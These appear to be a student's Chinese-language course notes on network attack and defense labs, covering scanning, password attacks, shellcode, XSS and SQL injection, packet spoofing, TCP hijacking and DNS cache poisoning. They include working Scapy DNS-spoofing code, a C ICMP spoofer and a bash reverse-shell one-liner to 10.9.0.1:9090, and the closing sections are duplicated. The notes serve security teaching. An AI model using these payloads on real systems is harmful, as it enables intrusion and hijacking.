网络攻防技术非常基础
1. 信息采集
信息采集的重点概念:
- 信息采集是黑客为了更有效的实施攻击而在攻击前对被攻击目标进行探测活动(信息渗透的过程)
- 信息采集是渗透重要的一部分;知道的越多就可能知道的更多;没有无用的信息
- 信息采集分类:主动(直接方位目标主机活目标子网下的设备) 被动(采用搜索引擎进行访问。行为不会被目标主机发现)
- 搜索高级语法:
* AND
* OR
* +
* -
* .(匹配任意字符)
* site: (搜索具体主机,服务器下的信息)
* filetype
* inurl
* link
-
公开信息收集工具:天眼查,Shodan, Whois(查看注册域名者信息),Traceroute追踪目标网络拓扑结构。
-
实验部分:子网爬虫编写
爬虫的编写:
- First: 确定爬取的信息范围(题中限定site:某网络下的子网信息)
- Second: 爬虫编写,观察搜索URL格式进行访问编写
- Third: 内容过滤,用正则OR其他包过滤HTML格式拿到信息
2. 网络扫描
网络扫描分为三部分:主机扫描,端口扫描, 系统类型扫描,漏洞扫描,网络拓扑扫描
A.主机扫描
常用手段:Ping, 查看ICMP包信息,ICMP包类型如下:
Statuts:3 目标不可达
4 源抑制
5 重定向
13/14 时间戳
17/18 子网掩码
8/0 响应请求/应答
高端IP扫描:
- 设置异常IP Header;
- 在IP头中设计无效字段;(根据ICMP错误信息查看主机信息)
- 错误的数据分片。 (根据ICMP错误信息查看主机信息)
B.端口扫描(同时是实验)
原理:使用TCP连接,查看包是否有响应。响应即是端口开放。包括SYN,FIN,ACK,等等。工具有Nmap
-
构造包方法:使用python scapy进行构造, 并在flag处设置对应的如: ‘S’,‘A’,‘F’
-
SYN: TCP三次握手,进行一次构造后对面会给SYN和ACK(握手第二步),不会对面的日志中被记录,因为握手未完全建立
-
FIN : 结束握手,在Linux上如果端口开放是没有反应的,端口不开放会返回RST数据包 在Windows系统下无效,不会被面日志记录
-
NULL: 不设置TCP类型,同FIN 的无响应与RST
-
ACK: 根据TTL是否为峰值判断是否开放端口
工具:NAMP,SuperScan
端口扫描的结果可以在一定程度上为主机扫描进行验证。
C.主机扫描
方法:端口Scan结果分析, 连接时的Banner, TCP/IP协议栈指纹
- 端口扫描分析:通过检测打开的端口尝试判断系统
Windows 9X: 137,139
Windows 2000/XP: 125,139,445
Unix: 512-514, 2049
- 连接成功的Banner(非重点)
- 因为主机的协议栈设计并不是一堆完全遵守RFC协议标准的,所以在协议报上的数据可以字一定成都上进行判断
以TCP包为例
SYN ACK TCP选项值 初始化窗口值 保留标记位 都可以在一定程度上方便判断
以IP包为例
TTL 服务类型(TOS) 标志 都可以在一定程度上方便判断
- 检测协议栈工具:Namp, Queso , Checkos
D.漏洞扫描
对重要的信息系统进行检查,发现可能被黑客利用的漏洞,分为主动式策略和被动式策略 ,有直接测试,推断,带凭证的测试三种方法
- 主动式策略:基于网络的检测,尝试执行脚本攻击进行检测。
- 被动式策略:基于主机的检测,检查系统的安全策略,口令等,相当于检查
- 直接测试:通常对Web漏洞,DOS估计检测,攻击性较强,会对系统造成伤害
- 推断:最简单的方法,通过版本信息,程序行为分析,操作系统堆栈指纹分析,时许分析设置等推断可能出现的Bug
- 带凭证的测试: 允许下的渗透攻击测试,能查出最多漏洞。
漏洞扫描工具:ISS, Nessus, Acunetix, Xscan
E.网络拓扑检测
通过Traceroute追踪流量TTL进行拓扑还原,使用SNMP观察读写行为
3. 口令攻击
口令攻击一般有三种攻击方式:
-
口令强度攻击:针对弱口令容易猜测爆破的特性。常见的攻击手段包括:1.字典攻击 2.强力攻击(就是爆破)3.组合攻击 4. 撞库攻击(根据同用户其他网站账号信息建立字典撞库) 5.彩虹表攻击
-
针对口令存储的攻击:Linux存储:/etc/passwd (明文)
/etc/shadow(盐 + 加盐散列)
Windows存储:%systemroot%system32%/config
%systemroor%/repair
HKEY_LOCAL_MACHINE/SAM键(注册表中)
攻击方法包括在身份验证时系统总是要将被比较对象提到内存中,可以尝试用钩子货内存监听方式获取。
-
口令传输攻击:网卡放混杂模式嗅探,重放(简单,反向)
-
口令攻击的防范: 强口令,磁盘设置NTF格式,关闭不用的端口或服务,定期改变口令啥的
实验:Hash碰撞实验
- 原理1:md5collgen 工具可以构造具有相同md5值的文本
- 原理2:MD5时分块加密的,所以在保证前面一样的情况下,将后面的一块部分整个替换掉的md5值不变
- 原理3:(至少)在ubuntu20.04系统中,md5分块大小是128byte, 所以我们可以先用head/tail分块后用cat命令连接
4. 栈溢出漏洞与Shellcode编写
* 栈溢出漏洞
基本概念:
- 漏洞攻击通常包括三个步骤:漏洞发现,漏洞分析,漏洞利用
- 漏洞可能到值得后果:权限混乱与篡改,DDOS等等
- 程序运行,系统从高到底开辟出四块内存块存储:栈,堆,数据(包括未初始化数据段和已…),代码
- 简单说栈溢出原理,就是我们分给给数据小空间,又给了他一个极大得数据,那么数据就会覆盖堆栈段,堆栈执行下条命令(EIP调用下调命令地址)但是EIP存在堆栈段的地址数据被覆盖了,所以他会把数据当地址返回错误地址。我们只需要将错误地址执行我们想要执行的恶意代码地址就可以完成攻击
- 溢出攻击的关键在于:哪里注入,注入数据多长,数据注入啥内容,执行啥攻击代码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jLzUWqqa-1648047500542)(C:\Users\40629\Desktop\a.png)]
实验:利用写好的shellcode1进行溢出程序的编写
- 重点一: 32bit和64bit的shellcode完全不一样(吃了大亏)
- 重点二:实验时如果不想爆破地址,就需要把Kernel Random给关掉不然每次都会重新随机化,这也是爆破困难的原因。
- 重点三: shellcode与EBP与Buffer的地址关系:(EBP - Buffer’s addr + 4)
* Shellcode编写
-
Shellcode就是一段能完成一段功能,可由计算机执行机器的代码,通常以十六进制存在。
-
Shellcode可以:1.打开窗口 2.发起连接 3.下载远程木马 4.破环/格式化磁盘 5.窃听数据
-
**Windows调用函数原理:A.加载函数所在动态链接库 B.利用堆栈传参 C.进行调用(调用函数地址) **
-
Shellcode1的生成一般都是汇编转义成16进制码
ShellCode1编写注意事项:
-
Shellcode1调用完我们用的功能之后要做扫尾工作。防止受害者根据日志进行追踪溯源
-
Shellcode1不能含有00,NULL字节,不然就会被阶段,不被执行(可以使用sub,XOR,单字节写入,左右移位,&null绕过)
-
Shellcode调用地址的时候应该调用此进程内加载函数块的dll地址,否则通用性差
Shellcode动态定位函数方法:
- 暴力搜索:程序运行时对内存(加载了GetPrecess.dll 和 Krenel32.dll) 这方法目前已经有点不行了
- PEB 进程环境快,加载进程时会在进程块中加载上述dll
- SHE 获得 Kernel基址
- Hash 比较:将各个函数名通过简单单有效的hash产生值并进行比较
实验:这里的实验没啥,主要是考绕过,机制XOR,左右移位就能搞定00绕过
5. 环境变量攻击
环境变量概念:* 一组动态的定义值 *操作系统运行环境的一部分 *决定加载哪些外部dll *
如何访问环境变量:
C语言体系:
void main(int argc, char * argv[], char * envp[]) ###envp就收环境变量
#OR
#include <stdio.h>
extern char ** environ;
//注:Envp和environ最初指向同一个地方,但是Envp只能在主函数中调用,environ属于全局变量。更改environ之后,
//envp并不会发生变化,除非主函数重新调用
* 进程获取环境变量:
-
父进程fork()子进程,子进程可以继承父进程的环境变量。在继承之后父进程更改环境变量子进程不会同步更改
-
用Execve调用新进程,可以在Execve中设置 char *const envp[]进行环境变量的传输
-
文件系统知识:/proc是linux的虚拟文件夹,他是包含每个就能成的目录(e.g. /proc/XXX/environ存放XXX进程环境变量)
-
Shell命令变量与环境变量不同。shell启动时会复制环境变量,但对shell变量的更改不会影响到环境变量
-
环境变量的攻击面:用户SetUID() 可以变为管理员权限
-
补充SetUID概念:每个进程都有两个ID, 而访问控制基于EUID也就是我们可以设置的UID
* 利用环境变量的攻击方式(与实验接轨):
-
动态链接器攻击:通过更改环境变量将本该调用的某些正常系统函数链接成调用我们写的恶意函数
-
攻击对比。与System相比,execve攻击面小,因为execve并不调用shell,不受环境变量的影响。
-
Execve本质是吧当前程序的数据,代码,包括环境变量区全部覆写了 (实验中有用到这个特性)
-
Execve可以通过导入extern char ** environ 对全据变量进行给更改,如下
execve("/usr/bin/env", argv, environ); ##在环境变量中加入了"/usr/bin/env”变量
- System原理是调用shell, 其过程可以看作 /bin/sh -c
- 在ROOT 中·,系统会过滤LD_的链接文件(LD_LIBRUARY, LD_LORDER) 保证系统的安全性,因为这两个文件是用户设置的。
整体原理和实验原理差不多以上这些。漏洞挖掘告一段落!!
6. WEB渗透
WEB渗透有两个方向:XSS攻击与MYSQL注入
-
Web应用基础: Client -------------某种通讯协议-------------- Server ---- ---- Database
└─ Web 网页
-
Web基础我就不在复述了,都比较简单
* XSS攻击
-
概念: 跨站脚本攻击,由于web程序对用户输入的过滤不足导致的
-
同源策略: 协议相同,域名相同,端口相同
-
XSS流行原因: WEB浏览器本身设计不安全, 开发人员没有XSS漏洞意识,交互过程没有很好的防御等
-
XSS的危害:网络钓鱼,网页挂马,劫持用户,窃取cookie, 弹出界面,DDos, 传播蠕虫等等
-
XSS根据特性与利用手法:反射性,存储型,DOM
-
反射性:恶意脚本加入域名中,非持久,参数行脚本
-
存储型:持久性,一般存储在留言,日志中,恶意脚本会被存取在数据库中
-
DOM型:XSS基于JS之上,不与服务器段交互,例如发送邮件等引诱用户
-
XSS方法措施:A.过滤,关键字记得过滤!! B. HttpOnly防止cookie偷窃,防止脚本访问cookie内容
TIPS:攻击小技巧:
- a. 巧用抓包,确定渗透文件与参数
- b. 编写代码,持久性XSS需要我们通过上传漏洞注入才能长久使用
- c. 监听对象,可以参照一句话XSS 返回我们的虚拟机,采用nc监听端口即可获得信息
- d. 传播方法,我们可以使用调用覆写的方法,谁访问谁中招
*SQL注入
像网站提交精心设计的sql查询语句,返回我们想要的结果
数据库是表的结合,表是数据操作和存储的逻辑结构,每行为一组数据,一行中的数据组合起来成为一条记录
- 攻击关键字 union ,可以帮我们知道数据表中有多少个属性; and 1=1 不多说,懂得都懂[doge]
- 普通关键字 update, select, where等
- 截断关键字: “ ” , ;#
SQL依旧没啥,应该问题不大
*文件上传注入
Attack TIPs:
- asp文件改成asa 或者 cer
- 上传一句话木马也是,各种变换(大小写,php4,php5啥的,变就VANS了)
- 拿到一句话木马之后应该提权(orz这个我没实践过,也没做个实验,照本宣科一下吧)
- 提权方法A: 服务器装了pcanywhere ,直接扫anywhere中的*.cif下载到本地破解
- 提权方法B: 使用servu提权
- 实验也没啥,这两章web渗透的都还可以,OK,下面的假消息可以继续折磨人了
7. 嗅探与欺骗
*数据包嗅探
-
NIC网络接口卡是机器与网络之间的无力或逻辑链路,每个NIC都有一个唯一的MAC地址。每个NIC都可以侦听到链路所有的帧
-
未指定给NIC的帧会被丢弃。混杂模式下NIC将所有监听到的包都发给内核
-
BPF,数据包过滤器,我们可以在编写程序的时候设定规则,如:进,出端口和IP地址,协议等
在C中使用方法:
char filter_exp[] = "过滤规则";
pcap_compile(handle, &fp, filter_exp, 0, net); #编译过滤规则
pcap_setfilter(handle, &fp); #设定规则
在PY中的用法
pkt = sniff(iface='br-13bfbce3dcca', filter='dst net 128.230.0.0/16',prn = print_pkt)
//其中,fliter中设置过滤规则
- 包嗅探:通过我们将网卡设为混合之后用socket拦截套接字,根据fliter过滤留下我们想要的信息
//C中的监听。很变态,我福哦了,因为没有上层接口,我们要自己对书记进行结构体定义完成数据包最终的复原
void got_packet(u_char *args, const struct pcap_pkthdr *header,
const u_char *packet)
{
struct ethheader *eth = (struct ethheader *)packet;
if (ntohs(eth->ether_type) == 0x0800) { // 0x0800 is IP type
struct ipheader * ip = (struct ipheader *)
(packet + sizeof(struct ethheader));
printf("From: %s ", inet_ntoa(ip->iph_sourceip));
printf("To: %s ", inet_ntoa(ip->iph_destip));
if (ip->iph_protocol == IPPROTO_ICMP)
printf("protocal: ICMP\n");
else
printf("protocal: Others\n");
struct icmpheader *icmp_pkt = (struct icmpheader *)(packet + sizeof(struct ethheader)
+ sizeof(struct ipheader));
if (ip->iph_protocol == IPPROTO_ICMP) {
char buffer[1500];
memset(buffer, 0, 1500);
/*********************************************************
Step 1: Fill in the ICMP header.
********************************************************/
struct icmpheader *icmp = (struct icmpheader *)
(buffer + sizeof(struct ipheader));
icmp->icmp_type = 0; //ICMP Type: 8 is request, 0 is reply.
icmp->icmp_code = 0;
icmp->icmp_id = icmp_pkt->icmp_id;
icmp->icmp_seq = icmp_pkt->icmp_seq;
printf("icmp id: %d, seq: %d\n", ntohs(icmp_pkt->icmp_id), ntohs(icmp_pkt->icmp_seq));
// Calculate the checksum for integrity
icmp->icmp_chksum = 0;
icmp->icmp_chksum = in_cksum((unsigned short *)icmp,
sizeof(struct icmpheader));
/*********************************************************
Step 2: Fill in the IP header.
********************************************************/
struct ipheader *ipp = (struct ipheader *) buffer;
ipp->iph_ver = 4;
ipp->iph_ihl = 5;
ipp->iph_ttl = 64;
ipp->iph_sourceip.s_addr = ip->iph_destip.s_addr;
ipp->iph_destip.s_addr = ip->iph_sourceip.s_addr;
ipp->iph_protocol = IPPROTO_ICMP;
ipp->iph_len = htons(sizeof(struct ipheader) +
sizeof(struct icmpheader));
printf("send tt source :%s\n", inet_ntoa(ipp->iph_sourceip));
printf("send tt dest: %s\n", inet_ntoa(ipp->iph_destip));
/*********************************************************
Step 3: Finally, send the spoofed packet
********************************************************/
// icmp_pkt->icmp_type = 0;
// icmp_pkt->icmp_code = 0;
// icmp->icmp_chksum = 0;
// icmp->icmp_chksum = in_cksum((unsigned short *)icmp,
// sizeof(struct icmpheader));
send_raw_ip_packet (ipp);
}
}
}
//PY
def print_pkt(pkt):
print(pkt['Raw'].load)
pkt = sniff(iface='br-13bfbce3dcca', filter='tcp', prn = print_pkt)
一看就懂,我就不说啥了
- 在C中的可移植性比较差,程序也需要优化提高性能
*数据包欺骗
- 只需要两步:构造数据包,把数据包发出去
- 构造数据包,C的我也不太会,Python调用库scapy 之后实例化对象,发包采用send(IP/TCP(ICMP))
- 构造注意,需要考虑seq序列号,IP地址,端口,TCP类型/ICMP类型(A,NS)…
- 结合嗅探和欺骗,我们就完成了中间人攻击。由于我们是在同一子网下监听,即使需要花费构造包的时间,也比Trans时间要快很多,才能完成攻击的过程
一般来说,Python方便,但是慢。C快,但是构造数据包复杂。所以结合python Scapy造包, C 发包的模型是比较流行的
8. TCP攻击
TCP协议:Internet协议套件的核心,位于Transport Layer, 为应用程序提供主机到主机的通讯服务
TCP包的构建与监听如上面的嗅探与欺骗过程
TCP链接一旦建立操作系统会在每一段分配一定的缓冲区,发送和接受都会在缓冲区中操作
TCP三次握手不解释
-
SYN攻击:持续向服务器发送大量的SYN协议包,而且不要完成握手第三步,用随机IP地址占满TCP服务器这一段的队列导致后面的包都会被丢弃。对于已经连接的TCP由于分配了缓冲区并不怕Flood攻击
-
SYN攻击对策:从服务器接到SYN之后计算hash, 服务器不将链接放在队列中。服务器通过cookie计算是否有效
-
TCP重置攻击: 一般TCP链接断开使用的是FIN, 但是存在强制关闭连接的RST。RST包发过去后会立即终止连接
- RST包需设置seq与ack,需要用嗅探(wireshark)来获得。seq 和ack需要在缓冲区中,所以可以比最后一个包的seq与ack一样或略小,但绝不能大于
-
对抗TCP重置攻击也比较简单,防嗅探到seq与ack就完事大吉了(加密)
-
TCP会话劫持:在已经建立的连接中注入数据。这里,我们伪造时可以将seq 和ack取最后一个包,也可以不变,但不能过大,原理一样:会跑出缓冲区。我们造包时可以使用我们的一句话shell口令,正阳被telnet连接的绘画就有我们接管了,而原来的通信的另一方会静止不动
"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1“ //一句话口令, 我们设置的10.9.0.1 9090的端口监听,([10.9.0.1] nc 9090)
9. DNS欺骗
域名以层状树的结构组织(Root -> TLD ->… ->Authority Domain)
每个DNS区域至少有一个权威服务器,他提供DNS查询原始和最终的答案。
权威服务器可以是主服务器也可以是从服务器,主服务器记录存储区域的主副本,从服务器利用自动更新机制与主服务器副本保持同步
A记录:用来指定主机名(或域名)对应的IP地址记录。
NS记录:域名服务器记录。
DNS查询过程:User_Machine ----IDon’tKnow —> Local DNS ----IDon’tKnow —> DNS On Internet
- Linux下的本地DNS文件 /etc/host (DNS本地缓存) /etc/resolv.conf (记录DNS服务器配置)
- DNS Section:
- A. 问题部分: 询问某个域名 (一般是A记录)
- B. 回答部分: 回答上面的问题 (一般也是A记录)
- C. 权威部分: 指向权威DNS服务器记录,这很明显NS记录
- D. 附加部分: 与查询相关的记录(大概率还是A记录)
DNS会跟据权威部分逐级往下照,最终找到结果心满意足
DNS存在缓存,获取信息时会缓存信息,缓存一定时间后才会删除
实验:通过我们给DNS假的响应,使假记录被缓存在被攻击主机上,完成攻击。实验分为本地攻击和异地攻击
DNS攻击可以造成:A. 域名欺骗 B.DDos
最简单得攻击方式:攻击者直接修改host 和 resolv.conf字段
关键命令
# rndc dumpdb -cache // Dump the cache to the specified file
# rndc flush // 缓存清除
-
嗅探包的过程不必多说,伪造包使用的代码(修改A记录和NS记录)
//修改A记录
udp = UDP(dport = old_udp.sport, sport = 53)
Anssec = DNSRR( rrname = old_dns.qd.qname,
type = 'A',
rdata = '1.2.3.4' ,
ttl = 259200)
dns = DNS( id = old_dns.id, aa=1, qr=1, qdcount=1, qd = old_dns.qd,ancount=1, an = Anssec )
注意回答类型为A, rrname, 还有端口最好与监听到的包名保持一致
qr: 0表示查询报文,1表示响应报文
qd 问题部分
an 回答部分
ns 管理机构部分和
ar 附加信息部分
aa: 表示授权回答(authoritative answer)
//修改NS记录
NSsec = DNSRR( rrname = 'example.com',
type = 'NS',
rdata = 'ns.attacker32.com',
ttl = 259200)
dns = DNS( id = old_dns.id, aa=1, qr=1,
qdcount=1, qd = old_dns.qd,
ancount=1, an = Anssec,
nscount=1, ns = NSsec)
-
远程DNS投毒关键:无法获得ID 和端口号,这两个需要猜测。所以远程需要撞库
-
远程DNS思路:卡明斯基攻击:
- 我们不断向受害者得DNS放服务器发起未知域名的请求
- 受害者DNS服务器会向上级询问,但不存在无法给出回答
- 于是在受害者DNS询问时我们制造包回应他,由于我们不知道端口号,所以我们不停询问,然后ID我们不停变化相当于爆破
- 当爆破成功时,我们终于将设定好的NS记录喂入受害者DNS服务器,爆破成功
-
反向DNS攻击:反向DNS数据包攻击者也可以伪造,我们不能使用反向DNS查获的主机名作为访问控制的基础
-
DNS防御:DNSSEC 防止缓存投毒
-
TLS/SSL使用证书进行身份鉴别(https访问不会遭受DNS投毒攻击)
10. 熔断与幽灵攻击
-
两个攻击的基础: **命令的无序执行,命令会存在缓存中 ** ,cpu缓存可以类比为测信道
-
熔断攻击:没有诱导的幽灵攻击。
熔断是 INTEL 特有的缺陷,是 INTEL处理器设计中允许猜测性非法访问的严重错误 -
幽灵攻击:依赖于你去诱导他,间接分叉预测不停诱导你想要的结果 幽灵攻击必须利用被攻击代码与处理器的双重缺陷
-
实验部分也没啥好讲的,重点原理挺简单的,就是你诱导,然后越界数组放在了缓存中,你可以在缓存中遍历通过时间对比爆破出你需要的信息
11. 网络溯源
摆烂
受害者DNS服务器会向上级询问,但不存在无法给出回答
-
于是在受害者DNS询问时我们制造包回应他,由于我们不知道端口号,所以我们不停询问,然后ID我们不停变化相当于爆破
-
当爆破成功时,我们终于将设定好的NS记录喂入受害者DNS服务器,爆破成功
-
反向DNS攻击:反向DNS数据包攻击者也可以伪造,我们不能使用反向DNS查获的主机名作为访问控制的基础
-
DNS防御:DNSSEC 防止缓存投毒
-
TLS/SSL使用证书进行身份鉴别(https访问不会遭受DNS投毒攻击)
10. 熔断与幽灵攻击
-
两个攻击的基础: **命令的无序执行,命令会存在缓存中 ** ,cpu缓存可以类比为测信道
-
熔断攻击:没有诱导的幽灵攻击。
熔断是 INTEL 特有的缺陷,是 INTEL处理器设计中允许猜测性非法访问的严重错误 -
幽灵攻击:依赖于你去诱导他,间接分叉预测不停诱导你想要的结果 幽灵攻击必须利用被攻击代码与处理器的双重缺陷
-
实验部分也没啥好讲的,重点原理挺简单的,就是你诱导,然后越界数组放在了缓存中,你可以在缓存中遍历通过时间对比爆破出你需要的信息
11. 网络溯源
摆烂